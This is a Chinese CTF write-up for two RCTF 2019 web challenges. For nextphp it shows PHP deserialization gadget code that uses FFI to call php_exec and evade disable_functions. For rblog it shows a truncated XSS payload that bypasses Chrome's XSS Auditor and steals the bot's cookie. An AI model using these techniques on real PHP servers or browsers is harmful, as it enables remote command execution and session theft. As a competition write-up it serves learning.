
RCTF 2019 Web Writeup

nextphp

题目直接给了一句话木马，于是先 phpinfo 收集一波信息，发现是 PHP 7.4。

disable_functions:

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_w

open_basedir:

/var/www/html

看起来十分严格，于是先读一下 Web 目录下有些啥，发现 preload.php:

```
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}
```

里面定义了一个可以反序列化执行任意函数的类，然而我们已经有了句话木马，乍看之下好像没有任何作用。

好好想了想，起这个名字一般是预加载的文件，于是尝试在 phpinfo 里搜一下，发现：

```
opcache.preload = /var/www/html/preload.php
```

是没见过孩子呢，google 一下这个配置：

<https://wiki.php.net/rfc/preload>

是 PHP 7.4 的新特性，可以利用其在服务器启动时加载一些类和函数，然后就可以在之后如同 PHP 的内部实体一样直接调用，仔细阅读文档，发现一行：

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

dangerous? 同样在 phpinfo 里先搜一下：

```
FFI support = enabled
```

看来是启动了，于是同样去搜一下这是个啥：

<https://www.php.net/manual/en/ffi.examples-basic.php>

看起来可以利用 ffi 直接调用 C 语言编写的函数，且示例里还有：

<https://www.php.net/manual/en/ffi.examples-callback.php>

可以看到在 FFI::cdef 不传第二个参数时，可以直接调用 PHP 源码中的函数，于是我们可以考虑直接调用 PHP 里执行命令的函数：

```
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => "int php_exec(int type, char *cmd);"
    ];

    public function serialize(): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __construct () {
    }
}

$a = new A;
echo serialize($a);
```

最后反序列化执行：

[http://nextphp.2019.rctf.rois.io/?a=\\$a=unserialize\('C%3a1%3a"A"%3a97%3a{a%3a3%3a{s%3a3%3a"ret"%3bN%3bs%3a4%3a"func"%3bs%3a9%3a](http://nextphp.2019.rctf.rois.io/?a=$a=unserialize('C%3a1%3a)

Flag:

RCTF{Do_y0u_llke_php74?}

rblog

进入题目后，先看看往年的 Writeup 膜一波蓝猫师傅。

查看网页源码，发现有一个 rblog.js，点开看到里面有一个 api: /api/v2/posts。

于是访问 <https://rblog.2019.rctf.rois.io/api/v2/posts>，发现是返回了三篇 Writeup 但是固定不变的，没看出有什么可以利用的点。

随手找下别的 api: <https://rblog.2019.rctf.rois.io/api/v2/post>，返回：

```
{
  "status": false,
  "message": "'\post' not found.",
  "data": []
}
```


URL payload 中 script src 的协议 http 经过后端返回到页面中时直接变成了 https ，还贴心的给 src 加上了双引号，所以打破了一致性，绕过了 Auditor 。

于是 payload:

https://report-rblog.2019.rctf.rois.io/report.php?callback=3Cscript%20src=http://report-rblog.2019.rctf.rois.io/report.php?cal

Report 给 bot ，成功在打回的 cookie 中获得 flag：

RCTF{charset_in_content-type_ignored._.??did_i_find_a_chrome_xss_filter_bypass_0day}

从 flag 感觉到我们的解法应该是非预期，于是问了一下蓝猫师傅，才知道这个协议的 upgrade 其实并不是后端处理的，而是因为题目使用了 Cloudflare CDN ，被 CDN 自动处理的，可以说是神助攻了。。。

点击收藏 | 1 关注 | 1

[上一篇：APT28分析之CVE-2015-...](#) [下一篇：Kap0k RCTF2019 Wr...](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)